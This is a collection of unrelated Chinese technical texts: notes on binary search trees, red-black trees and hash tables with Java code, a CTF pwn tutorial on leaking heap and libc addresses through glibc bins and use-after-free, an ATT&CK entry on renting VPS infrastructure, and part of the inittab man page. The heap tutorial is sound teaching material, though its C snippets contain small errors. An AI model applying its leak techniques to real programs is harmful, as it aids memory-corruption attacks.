keys[j - 1]; values[j] = values[j - 1]; } keys[index] = key; values[index] = value; N++; } @Override public Value get(Key key) { int index = rank(key); if (index < N && keys[index].compareTo(key) == 0) return values[index]; return null; } @Override public Key min() { return keys[0]; } @Override public Key max() { return keys[N - 1]; } } ``` ## 二叉查找树 **二叉树** 是一个空链接,或者是一个有左右两个链接的节点,每个链接都指向一颗子二叉树。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/c11528f6-fc71-4a2b-8d2f-51b8954c38f1.jpg" width="180"/> </div><br> **二叉查找树** (BST)是一颗二叉树,并且每个节点的值都大于等于其左子树中的所有节点的值而小于等于右子树的所有节点的值。 BST 有一个重要性质,就是它的中序遍历结果递增排序。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/ef552ae3-ae0d-4217-88e6-99cbe8163f0c.jpg" width="200"/> </div><br> 基本数据结构: ```java public class BST<Key extends Comparable<Key>, Value> implements OrderedST<Key, Value> { protected Node root; protected class Node { Key key; Value val; Node left; Node right; // 以该节点为根的子树节点总数 int N; // 红黑树中使用 boolean color; Node(Key key, Value val, int N) { this.key = key; this.val = val; this.N = N; } } @Override public int size() { return size(root); } private int size(Node x) { if (x == null) return 0; return x.N; } protected void recalculateSize(Node x) { x.N = size(x.left) + size(x.right) + 1; } } ``` 为了方便绘图,下文中二叉树的空链接不画出来。 ### 1. get() - 如果树是空的,则查找未命中; - 如果被查找的键和根节点的键相等,查找命中; - 否则递归地在子树中查找:如果被查找的键较小就在左子树中查找,较大就在右子树中查找。 ```java @Override public Value get(Key key) { return get(root, key); } private Value get(Node x, Key key) { if (x == null) return null; int cmp = key.compareTo(x.key); if (cmp == 0) return x.val; else if (cmp < 0) return get(x.left, key); else return get(x.right, key); } ``` ### 2. put() 当插入的键不存在于树中,需要创建一个新节点,并且更新上层节点的链接指向该节点,使得该节点正确地链接到树中。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/58b70113-3876-49af-85a9-68eb00a72d59.jpg" width="200"/> </div><br> ```java @Override public void put(Key key, Value value) { root = put(root, key, value); } private Node put(Node x, Key key, Value value) { if (x == null) return new Node(key, value, 1); int cmp = key.compareTo(x.key); if (cmp == 0) x.val = value; else if (cmp < 0) x.left = put(x.left, key, value); else x.right = put(x.right, key, value); recalculateSize(x); return x; } ``` ### 3. 分析 二叉查找树的算法运行时间取决于树的形状,而树的形状又取决于键被插入的先后顺序。 最好的情况下树是完全平衡的,每条空链接和根节点的距离都为 logN。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/c395a428-827c-405b-abd7-8a069316f583.jpg" width="200"/> </div><br> 在最坏的情况下,树的高度为 N。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/5ea609cb-8ad4-4c4c-aee6-45a40a81794a.jpg" width="200"/> </div><br> ### 4. floor() floor(key):小于等于键的最大键 - 如果键小于根节点的键,那么 floor(key) 一定在左子树中; - 如果键大于根节点的键,需要先判断右子树中是否存在 floor(key),如果存在就返回,否则根节点就是 floor(key)。 ```java public Key floor(Key key) { Node x = floor(root, key); if (x == null) return null; return x.key; } private Node floor(Node x, Key key) { if (x == null) return null; int cmp = key.compareTo(x.key); if (cmp == 0) return x; if (cmp < 0) return floor(x.left, key); Node t = floor(x.right, key); return t != null ? t : x; } ``` ### 5. rank() rank(key) 返回 key 的排名。 - 如果键和根节点的键相等,返回左子树的节点数; - 如果小于,递归计算在左子树中的排名; - 如果大于,递归计算在右子树中的排名,加上左子树的节点数,再加上 1(根节点)。 ```java @Override public int rank(Key key) { return rank(key, root); } private int rank(Key key, Node x) { if (x == null) return 0; int cmp = key.compareTo(x.key); if (cmp == 0) return size(x.left); else if (cmp < 0) return rank(key, x.left); else return 1 + size(x.left) + rank(key, x.right); } ``` ### 6. min() ```java @Override public Key min() { return min(root).key; } private Node min(Node x) { if (x == null) return null; if (x.left == null) return x; return min(x.left); } ``` ### 7. deleteMin() 令指向最小节点的链接指向最小节点的右子树。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/31b7e8de-ed11-4f69-b5fd-ba454120ac31.jpg" width="450"/> </div><br> ```java public void deleteMin() { root = deleteMin(root); } public Node deleteMin(Node x) { if (x.left == null) return x.right; x.left = deleteMin(x.left); recalculateSize(x); return x; } ``` ### 8. delete() - 如果待删除的节点只有一个子树, 那么只需要让指向待删除节点的链接指向唯一的子树即可; - 否则,让右子树的最小节点替换该节点。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/23b9d625-ef28-42b5-bb22-d7aedd007e16.jpg" width="400"/> </div><br> ```java public void delete(Key key) { root = delete(root, key); } private Node delete(Node x, Key key) { if (x == null) return null; int cmp = key.compareTo(x.key); if (cmp < 0) x.left = delete(x.left, key); else if (cmp > 0) x.right = delete(x.right, key); else { if (x.right == null) return x.left; if (x.left == null) return x.right; Node t = x; x = min(t.right); x.right = deleteMin(t.right); x.left = t.left; } recalculateSize(x); return x; } ``` ### 9. keys() 利用二叉查找树中序遍历的结果为递增的特点。 ```java @Override public List<Key> keys(Key l, Key h) { return keys(root, l, h); } private List<Key> keys(Node x, Key l, Key h) { List<Key> list = new ArrayList<>(); if (x == null) return list; int cmpL = l.compareTo(x.key); int cmpH = h.compareTo(x.key); if (cmpL < 0) list.addAll(keys(x.left, l, h)); if (cmpL <= 0 && cmpH >= 0) list.add(x.key); if (cmpH > 0) list.addAll(keys(x.right, l, h)); return list; } ``` ### 10. 分析 二叉查找树所有操作在最坏的情况下所需要的时间都和树的高度成正比。 ## 2-3 查找树 2-3 查找树引入了 2- 节点和 3- 节点,目的是为了让树平衡。一颗完美平衡的 2-3 查找树的所有空链接到根节点的距离应该是相同的。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/1097658b-c0e6-4821-be9b-25304726a11c.jpg" width="160px"/> </div><br> ### 1. 插入操作 插入操作和 BST 的插入操作有很大区别,BST 的插入操作是先进行一次未命中的查找,然后再将节点插入到对应的空链接上。但是 2-3 查找树如果也这么做的话,那么就会破坏了平衡性。它是将新节点插入到叶子节点上。 根据叶子节点的类型不同,有不同的处理方式: - 如果插入到 2- 节点上,那么直接将新节点和原来的节点组成 3- 节点即可。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/0c6f9930-8704-4a54-af23-19f9ca3e48b0.jpg" width="350"/> </div><br> - 如果是插入到 3- 节点上,就会产生一个临时 4- 节点时,需要将 4- 节点分裂成 3 个 2- 节点,并将中间的 2- 节点移到上层节点中。如果上移操作继续产生临时 4- 节点则一直进行分裂上移,直到不存在临时 4- 节点。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/7002c01b-1ed5-475a-9e5f-5fc8a4cdbcc0.jpg" width="460"/> </div><br> ### 2. 性质 2-3 查找树插入操作的变换都是局部的,除了相关的节点和链接之外不必修改或者检查树的其它部分,而这些局部变换不会影响树的全局有序性和平衡性。 2-3 查找树的查找和插入操作复杂度和插入顺序无关,在最坏的情况下查找和插入操作访问的节点必然不超过 logN 个,含有 10 亿个节点的 2-3 查找树最多只需要访问 30 个节点就能进行任意的查找和插入操作。 ## 红黑树 红黑树是 2-3 查找树,但它不需要分别定义 2- 节点和 3- 节点,而是在普通的二叉查找树之上,为节点添加颜色。指向一个节点的链接颜色如果为红色,那么这个节点和上层节点表示的是一个 3- 节点,而黑色则是普通链接。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/f1912ba6-6402-4321-9aa8-13d32fd121d1.jpg" width="240"/> </div><br> 红黑树具有以下性质: - 红链接都为左链接; - 完美黑色平衡,即任意空链接到根节点的路径上的黑链接数量相同。 画红黑树时可以将红链接画平。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/f5cb6028-425d-4939-91eb-cca9dd6b6c6c.jpg" width="220"/> </div><br> ```java public class RedBlackBST<Key extends Comparable<Key>, Value> extends BST<Key, Value> { private static final boolean RED = true; private static final boolean BLACK = false; private boolean isRed(Node x) { if (x == null) return false; return x.color == RED; } } ``` ### 1. 左旋转 因为合法的红链接都为左链接,如果出现右链接为红链接,那么就需要进行左旋转操作。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/f4d534ab-0092-4a81-9e5b-ae889b9a72be.jpg" width="480"/> </div><br> ```java public Node rotateLeft(Node h) { Node x = h.right; h.right = x.left; x.left = h; x.color = h.color; h.color = RED; x.N = h.N; recalculateSize(h); return x; } ``` ### 2. 右旋转 进行右旋转是为了转换两个连续的左红链接,这会在之后的插入过程中探讨。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/63c8ffea-a9f2-4ebe-97d1-d71be71246f9.jpg" width="480"/> </div><br> ```java public Node rotateRight(Node h) { Node x = h.left; h.left = x.right; x.right = h; x.color = h.color; h.color = RED; x.N = h.N; recalculateSize(h); return x; } ``` ### 3. 颜色转换 一个 4- 节点在红黑树中表现为一个节点的左右子节点都是红色的。分裂 4- 节点除了需要将子节点的颜色由红变黑之外,同时需要将父节点的颜色由黑变红,从 2-3 树的角度看就是将中间节点移到上层节点。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/094b279a-b2db-4be7-87a3-b2a039c7448e.jpg" width="270"/> </div><br> ```java void flipColors(Node h) { h.color = RED; h.left.color = BLACK; h.right.color = BLACK; } ``` ### 4. 插入 先将一个节点按二叉查找树的方法插入到正确位置,然后再进行如下颜色操作: - 如果右子节点是红色的而左子节点是黑色的,进行左旋转; - 如果左子节点是红色的,而且左子节点的左子节点也是红色的,进行右旋转; - 如果左右子节点均为红色的,进行颜色转换。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/4c457532-550b-4eca-b881-037b84b4934b.jpg" width="430"/> </div><br> ```java @Override public void put(Key key, Value value) { root = put(root, key, value); root.color = BLACK; } private Node put(Node x, Key key, Value value) { if (x == null) { Node node = new Node(key, value, 1); node.color = RED; return node; } int cmp = key.compareTo(x.key); if (cmp == 0) x.val = value; else if (cmp < 0) x.left = put(x.left, key, value); else x.right = put(x.right, key, value); if (isRed(x.right) && !isRed(x.left)) x = rotateLeft(x); if (isRed(x.left) && isRed(x.left.left)) x = rotateRight(x); if (isRed(x.left) && isRed(x.right)) flipColors(x); recalculateSize(x); return x; } ``` 可以看到该插入操作和二叉查找树的插入操作类似,只是在最后加入了旋转和颜色变换操作即可。 根节点一定为黑色,因为根节点没有上层节点,也就没有上层节点的左链接指向根节点。flipColors() 有可能会使得根节点的颜色变为红色,每当根节点由红色变成黑色时树的黑链接高度加 1. ### 5. 分析 一颗大小为 N 的红黑树的高度不会超过 2logN。最坏的情况下是它所对应的 2-3 树,构成最左边的路径节点全部都是 3- 节点而其余都是 2- 节点。 红黑树大多数的操作所需要的时间都是对数级别的。 ## 散列表 散列表类似于数组,可以把散列表的散列值看成数组的索引值。访问散列表和访问数组元素一样快速,它可以在常数时间内实现查找和插入操作。 由于无法通过散列值知道键的大小关系,因此散列表无法实现有序性操作。 ### 1. 散列函数 对于一个大小为 M 的散列表,散列函数能够把任意键转换为 [0, M-1] 内的正整数,该正整数即为 hash 值。 散列表存在冲突,也就是两个不同的键可能有相同的 hash 值。 散列函数应该满足以下三个条件: - 一致性:相等的键应当有相等的 hash 值,两个键相等表示调用 equals() 返回的值相等。 - 高效性:计算应当简便,有必要的话可以把 hash 值缓存起来,在调用 hash 函数时直接返回。 - 均匀性:所有键的 hash 值应当均匀地分布到 [0, M-1] 之间,如果不能满足这个条件,有可能产生很多冲突,从而导致散列表的性能下降。 除留余数法可以将整数散列到 [0, M-1] 之间,例如一个正整数 k,计算 k%M 既可得到一个 [0, M-1] 之间的 hash 值。注意 M 最好是一个素数,否则无法利用键包含的所有信息。例如 M 为 10<sup>k</sup>,那么只能利用键的后 k 位。 对于其它数,可以将其转换成整数的形式,然后利用除留余数法。例如对于浮点数,可以将其的二进制形式转换成整数。 对于多部分组合的类型,每个部分都需要计算 hash 值,这些 hash 值都具有同等重要的地位。为了达到这个目的,可以将该类型看成 R 进制的整数,每个部分都具有不同的权值。 例如,字符串的散列函数实现如下: ```java int hash = 0; for (int i = 0; i < s.length(); i++) hash = (R * hash + s.charAt(i)) % M; ``` 再比如,拥有多个成员的自定义类的哈希函数如下: ```java int hash = (((day * R + month) % M) * R + year) % M; ``` R 通常取 31。 Java 中的 hashCode() 实现了哈希函数,但是默认使用对象的内存地址值。在使用 hashCode() 时,应当结合除留余数法来使用。因为内存地址是 32 位整数,我们只需要 31 位的非负整数,因此应当屏蔽符号位之后再使用除留余数法。 ```java int hash = (x.hashCode() & 0x7fffffff) % M; ``` 使用 Java 的 HashMap 等自带的哈希表实现时,只需要去实现 Key 类型的 hashCode() 函数即可。Java 规定 hashCode() 能够将键均匀分布于所有的 32 位整数,Java 中的 String、Integer 等对象的 hashCode() 都能实现这一点。以下展示了自定义类型如何实现 hashCode(): ```java public class Transaction { private final String who; private final Date when; private final double amount; public Transaction(String who, Date when, double amount) { this.who = who; this.when = when; this.amount = amount; } public int hashCode() { int hash = 17; int R = 31; hash = R * hash + who.hashCode(); hash = R * hash + when.hashCode(); hash = R * hash + ((Double) amount).hashCode(); return hash; } } ``` ### 2. 拉链法 拉链法使用链表来存储 hash 值相同的键,从而解决冲突。 查找需要分两步,首先查找 Key 所在的链表,然后在链表中顺序查找。 对于 N 个键,M 条链表 (N\>M),如果哈希函数能够满足均匀性的条件,每条链表的大小趋向于 N/M,因此未命中的查找和插入操作所需要的比较次数为 \~N/M。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/cbbfe06c-f0cb-47c4-bf7b-2780aebd98b2.png" width="330px"> </div><br> ### 3. 线性探测法 线性探测法使用空位来解决冲突,当冲突发生时,向前探测一个空位来存储冲突的键。 使用线性探测法,数组的大小 M 应当大于键的个数 N(M\>N)。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/0dbc4f7d-05c9-4aae-8065-7b7ea7e9709e.gif" width="350px"> </div><br> ```java public class LinearProbingHashST<Key, Value> implements UnorderedST<Key, Value> { private int N = 0; private int M = 16; private Key[] keys; private Value[] values; public LinearProbingHashST() { init(); } public LinearProbingHashST(int M) { this.M = M; init(); } private void init() { keys = (Key[]) new Object[M]; values = (Value[]) new Object[M]; } private int hash(Key key) { return (key.hashCode() & 0x7fffffff) % M; } } ``` ##### 3.1 查找 ```java public Value get(Key key) { for (int i = hash(key); keys[i] != null; i = (i + 1) % M) if (keys[i].equals(key)) return values[i]; return null; } ``` ##### 3.2 插入 ```java public void put(Key key, Value value) { resize(); putInternal(key, value); } private void putInternal(Key key, Value value) { int i; for (i = hash(key); keys[i] != null; i = (i + 1) % M) if (keys[i].equals(key)) { values[i] = value; return; } keys[i] = key; values[i] = value; N++; } ``` ##### 3.3 删除 删除操作应当将右侧所有相邻的键值对重新插入散列表中。 ```java public void delete(Key key) { int i = hash(key); while (keys[i] != null && !key.equals(keys[i])) i = (i + 1) % M; // 不存在,直接返回 if (keys[i] == null) return; keys[i] = null; values[i] = null; // 将之后相连的键值对重新插入 i = (i + 1) % M; while (keys[i] != null) { Key keyToRedo = keys[i]; Value valToRedo = values[i]; keys[i] = null; values[i] = null; N--; putInternal(keyToRedo, valToRedo); i = (i + 1) % M; } N--; resize(); } ``` ##### 3.5 调整数组大小 线性探测法的成本取决于连续条目的长度,连续条目也叫聚簇。当聚簇很长时,在查找和插入时也需要进行很多次探测。例如下图中 2\~4 位置就是一个聚簇。 <div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/ace20410-f053-4c4a-aca4-2c603ff11bbe.png" width="340px"> </div><br> α = N/M,把 α 称为使用率。理论证明,当 α 小于 1/2 时探测的预计次数只在 1.5 到 2.5 之间。为了保证散列表的性能,应当调整数组的大小,使得 α 在 [1/4, 1/2] 之间。 ```java private void resize() { if (N >= M / 2) resize(2 * M); else if (N <= M / 8) resize(M / 2); } private void resize(int cap) { LinearProbingHashST<Key, Value> t = new LinearProbingHashST<Key, Value>(cap); for (int i = 0; i < M; i++) if (keys[i] != null) t.putInternal(keys[i], values[i]); keys = t.keys; values = t.values; M = t.M; } ``` ## 小结 ### 1. 符号表算法比较 | 算法 | 插入 | 查找 | 是否有序 | | :---: | :---: | :---: | :---: | | 链表实现的无序符号表 | N | N | yes | | 二分查找实现的有序符号表 | N | logN | yes | | 二叉查找树 | logN | logN | yes | | 2-3 查找树 | logN | logN | yes | | 拉链法实现的散列表 | N/M | N/M | no | | 线性探测法实现的散列表 | 1 | 1 | no | 应当优先考虑散列表,当需要有序性操作时使用红黑树。 ### 2. Java 的符号表实现 - java.util.TreeMap:红黑树 - java.util.HashMap:拉链法的散列表 ### 3. 稀疏向量乘法 当向量为稀疏向量时,可以使用符号表来存储向量中的非 0 索引和值,使得乘法运算只需要对那些非 0 元素进行即可。 ```java public class SparseVector { private HashMap<Integer, Double> hashMap; public SparseVector(double[] vector) { hashMap = new HashMap<>(); for (int i = 0; i < vector.length; i++) if (vector[i] != 0) hashMap.put(i, vector[i]); } public double get(int i) { return hashMap.getOrDefault(i, 0.0); } public double dot(SparseVector other) { double sum = 0; for (int i : hashMap.keySet()) sum += this.get(i) * other.get(i); return sum; } } ```
sec-knowleage
### 信息泄漏内容 在CTF中,Pwn题目一般都是运行在远端服务器上的。因此我们不能获知服务器上的libc.so地址、Heap基地址等地址信息,但是在进行利用的时候往往需要这些地址,此时就需要进行信息泄漏。 ### 信息泄漏目标 信息泄漏的目标有哪些?我们可以通过观察内存空间来获知这一点 ``` Start End Offset Perm Path 0x0000000000400000 0x0000000000401000 0x0000000000000000 r-x /home/pwn 0x0000000000600000 0x0000000000601000 0x0000000000000000 r-- /home/pwn 0x0000000000601000 0x0000000000602000 0x0000000000001000 rw- /home/pwn 0x0000000000602000 0x0000000000623000 0x0000000000000000 rw- [heap] 0x00007ffff7a0d000 0x00007ffff7bcd000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff7bcd000 0x00007ffff7dcd000 0x00000000001c0000 --- /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff7dcd000 0x00007ffff7dd1000 0x00000000001c0000 r-- /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff7dd1000 0x00007ffff7dd3000 0x00000000001c4000 rw- /lib/x86_64-linux-gnu/libc-2.23.so 0x00007ffff7dd3000 0x00007ffff7dd7000 0x0000000000000000 rw- 0x00007ffff7dd7000 0x00007ffff7dfd000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/ld-2.23.so 0x00007ffff7fdb000 0x00007ffff7fde000 0x0000000000000000 rw- 0x00007ffff7ff6000 0x00007ffff7ff8000 0x0000000000000000 rw- 0x00007ffff7ff8000 0x00007ffff7ffa000 0x0000000000000000 r-- [vvar] 0x00007ffff7ffa000 0x00007ffff7ffc000 0x0000000000000000 r-x [vdso] 0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000025000 r-- /lib/x86_64-linux-gnu/ld-2.23.so 0x00007ffff7ffd000 0x00007ffff7ffe000 0x0000000000026000 rw- /lib/x86_64-linux-gnu/ld-2.23.so 0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw- 0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack] 0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall] ``` 首先第一个是主模块的基地址,因为只有在开启PIE(地址无关代码)的情况下主模块的基地址才会发生改变,因此通常情况下主模块的地址不需要泄漏。 第二个是堆地址,堆地址对于进程来说是每次运行都会改变,当然需要控制堆中的数据时可能就需要先泄漏堆基地址。 第三个是libc.so的地址,在很多情况下我们只有通过libc中的system等函数才能实现代码执行,并且malloc_hook、one_gadgets、IO_FILE等结构也都储存在libc中,因此libc的地址也是我们泄漏的目标。 ### 信息泄漏途径 通过前面的知识我们知道heap分为unsorted bin、fastbin、smallbin、large bin等,我们逐个考察这些结构来查看如何进行泄漏。 ### 信息泄漏途径关于unsorted bin 我们构造两个unsorted bin然后查看它的内存,现在在unsorted bin链表中存在两个块,第一个块的地址是0x602000、第二个块的地址是0x6020f0 ``` 0x602000: 0x0000000000000000 0x00000000000000d1 0x602010: 0x00007ffff7dd1b78 0x00000000006020f0 <=== 指向下一个块 0x602020: 0x0000000000000000 0x0000000000000000 0x602030: 0x0000000000000000 0x0000000000000000 ``` ``` 0x6020f0: 0x0000000000000000 0x00000000000000d1 0x602100: 0x0000000000602000 0x00007ffff7dd1b78 <=== 指向main_arena 0x602110: 0x0000000000000000 0x0000000000000000 0x602120: 0x0000000000000000 0x0000000000000000 ``` 因此我们知道通过unsorted bin我们可以获取到某个堆块的地址和main_areana的地址。一旦获取到某个堆块的地址就可以通过malloc的size进行计算从而获得堆基地址。一旦获取到main_arena的地址,因为main_arena存在于libc.so中就可以计算偏移得出libc.so的基地址。 因此,通过unsorted bin可以获得:1.libc.so的基地址 2.heap基地址 ### 信息泄漏途径关于fastbin 我们构造了两个fastbin然后查看它们的内存,现在在fastbin链表中存在两个块,第一个块的地址是0x602040,第二个块的地址是0x602000 ``` 0x602000: 0x0000000000000000 0x0000000000000021 0x602010: 0x0000000000000000 0x0000000000000000 ``` ``` 0x602040: 0x0000000000000000 0x0000000000000021 0x602050: 0x0000000000602000 0x0000000000000000 <=== 指向第一个块 ``` 根据前面的知识我们知道fastbin链表最末端的块fd域为0,此后每个块的fd域指向前一个块。因此通过fastbin只能泄漏heap的基地址 ### 信息泄漏途径关于smallbin 我们构造了两个fastbin然后查看它们的内存,现在在fastbin链表中存在两个块,第一个块的地址是0x602000,第二个块的地址是0x6020f0 ``` 0x602000: 0x0000000000000000 0x00000000000000d1 0x602010: 0x00007ffff7dd1c38 0x00000000006020f0 <=== 下一个块的地址 0x602020: 0x0000000000000000 0x0000000000000000 0x602030: 0x0000000000000000 0x0000000000000000 ``` ``` 0x6020f0: 0x0000000000000000 0x00000000000000d1 0x602100: 0x0000000000602000 0x00007ffff7dd1c38 <=== main_arena的地址 0x602110: 0x0000000000000000 0x0000000000000000 0x602120: 0x0000000000000000 0x0000000000000000 ``` 因此,通过smallbin可以获得:1.libc.so的基地址 2.heap基地址 ### 可以用于泄漏的途径 通过前面的知识我们可以获知堆中存在哪些地址信息,但是想要获取到这些地址需要通过漏洞来实现 一般来说以下漏洞是可以进行信息漏洞的 * 堆内存未初始化 * 堆溢出 * Use-After-Free * 越界读 * heap extend ### 通过read UAF信息泄漏的方式 通过,UAF ,泄露 heapbase: ```c p0 = malloc(0x20); p1 = malloc(0x20); free(p0); free(p1); printf('heap base:%p',*p1); ``` 由于 fastbin list 的特性,当我们构造一条fastbin list的时候 ```bash (0x30) fastbin[1]: 0x602030 --> 0x602000 --> 0x0 ``` 存在 chunk 1 -> chunk 0 的现象,如果此时 UAF漏洞存在,我们可以通过 show chunk 1,将chunk 0的地址打印出来 同理,泄露 libc base ```c p0 = malloc(0x100); free(p0); printf("libc: %p\n", *p0); ```
sec-knowleage
# T1583-003-购买基础设施-虚拟专用服务器 ## 来自ATT&CK的描述 攻击者可能会租用虚拟私人服务器(VPS),这些服务器可以在攻击目标期间使用。各种云服务提供商将虚拟机或容器作为一种服务出售。通过利用VPS,攻击者可以使其(追踪)难以在物理上将行动与他们联系起来。使用云计算基础设施也可以使攻击者更容易快速提供、修改和关闭其基础设施。 获取VPS用于攻击生命周期的后期阶段,如指挥和控制,较高声誉、普遍性较强的云服务提供商可以让攻击者获得更多的信任。攻击者也可以从VPS服务提供商那里获得基础设施,这些服务提供商以出租VPS而闻名,其注册信息极少,从而可以更加匿名地获得基础设施。 ## 测试案例 虚拟专用服务器(英语:Virtual private server,缩写为 VPS),是将一台服务器分割成多个虚拟专享服务器的服务。实现VPS的技术分为容器技术和虚拟机技术 。在容器或虚拟机中,每个VPS都可分配独立公网IP地址、独立操作系统、实现不同VPS间磁盘空间、内存、CPU资源、进程和系统配置的隔离,为用户和应用程序模拟出“独占”使用计算资源的体验。VPS可以像独立服务器一样,重装操作系统,安装程序,单独重启服务器。VPS为用户提供了管理配置的自由,可用于企业虚拟化,也可以用于IDC资源租用。 IDC资源租用,由VPS提供商提供。不同VPS提供商所使用的硬件VPS软件的差异,及销售策略的不同,VPS的使用体验也有较大差异。尤其是VPS提供商超卖,导致实体服务器超负荷时,VPS性能将受到极大影响。相对来说,容器技术比虚拟机技术硬件使用效率更高,更易于超卖,所以一般来说容器VPS的价格都高于虚拟机VPS的价格。 这些VPS主机以最大化的效率共享硬件、软件许可证以及管理资源。每个VPS主机都可分配独立公网IP地址、独立操作系统、独立超大空间、独立内存、独立CPU资源、独立执行程序和独立系统配置等。VPS主机用户可在服务器上自行安装程序,单独重启主机。(ps:不做过多介绍,懂得都懂) ## 检测日志 无法有效监测 ## 测试复现 无 ## 测试留痕 无 ## 检测规则/思路 无 ## 建议 ### 缓解措施 这种技术不容易用预防控制来缓解,因为它是基于企业防御和控制范围之外的行为。 ### 检测 这种活动大多发生在防御团队(组织)的能见度之外,使得对这种行为的检测变得困难。检测工作可能集中在攻击生命周期的相关阶段,如在指挥和控制期间。 ## 参考推荐 MITRE-ATT&CK-T1583-003 <https://attack.mitre.org/techniques/T1583/003/>
sec-knowleage
.\"{{{}}} .\"{{{ Title .TH INITTAB 5 "May 19, 1998" "" "Linux 系统管理员手册" .\"}}} .\"{{{ Name .SH NAME inittab \- 与 sysv 兼容的 init 进程使用的初始化文件格式 .\"}}} .\"{{{ Description .SH 描述 \fBinittab\fP 文件描述在系统引导及通常的操作期间, 都启动哪些进程 (比如 \& /etc/init.d/boot, /etc/init.d/rc, getty 等等). .BR Init (8) 讨论有关 \fIrunlevels (运行级)\fP 的概念, 每一个 运行级都有它自己启动进程的集合. 有效的运行级 为 \fB0\fP\-\fB6\fP 加上用于 \fBondemand\fP 条目 的 \fBA\fP, \fBB\fP 和 \fBC\fP. \fBinittab\fP 文件中的每一个条目有如下的格式: .RS .sp \fIid\fP:\fIrunlevels\fP:\fIaction\fP:\fIprocess\fP .sp .RE 以 `#' 开头的行被忽略. .\"{{{ id .IP \fIid\fP .B inittab 文件中条目的唯一标识, 限于 1-4 个字符 (如果是用版本号小于 5.2.18 或 a.out 的库编译生成的 sysvinit 程序, 则仅限于 2 个字符). .sp 注意: 对于 getty 或其它的注册进程, \fIid\fP 必须是 响应的终端线路的 tty 后缀, 如 \fB1\fP 响应 \fBtty1\fP, 否则, 注册过程不能正常的工作. .\"}}} .\"{{{ runlevels .IP \fIrunlevels\fP 列出发生指定动作的运行级. .\"}}} .\"{{{ action .IP \fIaction\fP 描述要发生的动作. .\"}}} .\"{{{ process .IP \fIprocess\fP 要执行的进程. 如果 process 域以一个 `+' 开头, .B init 不会在 utmp 和 wtmp 文件中为此进程记帐. 这是由于 getty 自己主持 utmp/wtmp 记帐的需要, 同时这也是一个历史遗留的漏洞. .\"}}} .PP \fIrunlevels\fP 域可以包含表示不同运行级的多 个字符, 例如 \fB123\fP 表示本进程在运行级为 1, 2 和 3 时都要启动. 用于 \fBondemand\fP 条目的 \fIrunlevels\fP 域可以 包含 \fBA\fP, \fBB\fP, 或 \fBC\fP. 用于 \fBsysinit\fP, \fBboot\fP, 和 \fBbootwait\fP 条目的 \fIrunlevels\fP 域被忽略. .PP 当改变运行级时, 在新运行级中没有给出的那些正在 运行的进程被杀死, 先使用 \s-2SIGTERM\s0 信号, 然后是 \s-2SIGKILL\s0. .PP \fIaction\fP 域可以使用的动作有: .\"{{{ respawn .IP \fBrespawn\fP 该进程只要终止就立即重新启动 (如 \& getty). .\"}}} .\"{{{ wait .IP \fBwait\fP 只要进入指定的运行级就启动本进程, 并且 .B init 等待该进程的结束. .\"}}} .\"{{{ once .IP \fBonce\fP 只要进入指定的运行级就启动一次本进程. .\"}}} .\"{{{ boot .IP \fBboot\fP 在系统引导期间执行本进程. \fIrunlevels\fP 域被忽略. .\"}}} .\"{{{ bootwait .IP \fBbootwait\fP 在系统引导期间执行本进程. 并且 .B init 等待该进程的结束 (如 \& /etc/rc). \fIrunlevels\fP 域被忽略. .\"}}} .\"{{{ off .IP \fBoff\fP 什么也不做. .\"}}} .\"{{{ ondemand .IP \fBondemand\fP 在进入 \fBondemand\fP 运行级时才会执行 标记为 \fBondemand\fP 的那些进程. 无论怎样, 实际上没有改变运行级 (\fBondemand\fP 运行级就是 `a', `b', 和 `c'). .\"}}} .\"{{{ initdefault .IP \fBinitdefault\fP \fBinitdefault\fP 条目给出系统引导 完成后进入的运行级, 如果不存在这样的条目, .B init 就会在控制台询问要进入的运行级. \fIprocess\fP 域被忽略. .\"}}} .\"{{{ sysinit .IP \fBsysinit\fP 系统引导期间执行此进程. 本进程会在 \fBboot\fP 或 \fB bootwait\fP 条目之前得到执行. \fIrunlevels\fP 域被忽略. .\"}}} .\"{{{ powerwait .IP \fBpowerwait\fP 本进程在电源不足时执行. 通常在有进程把 UPS 和计算机相连时 通知 init 进程, \fBInit\fP 在继续其它工作 之前要等待此进程结束. .\"}}} .\"{{{ powerfail .IP \fBpowerfail\fP 类似 \fBpowerwait\fP, 但是\fBinit\fP 不等待 此进程完成. .\"}}} .\"{{{ powerokwait .IP \fBpowerokwait\fP 在 \fBinit\fP 收到电源已经恢复的通知后 立即执行此进程. .\"}}} .\"{{{ powerfailnow .IP \fBpowerfailnow\fP 本进程在 \fBinit\fP 被告知 UPS 电源快耗尽 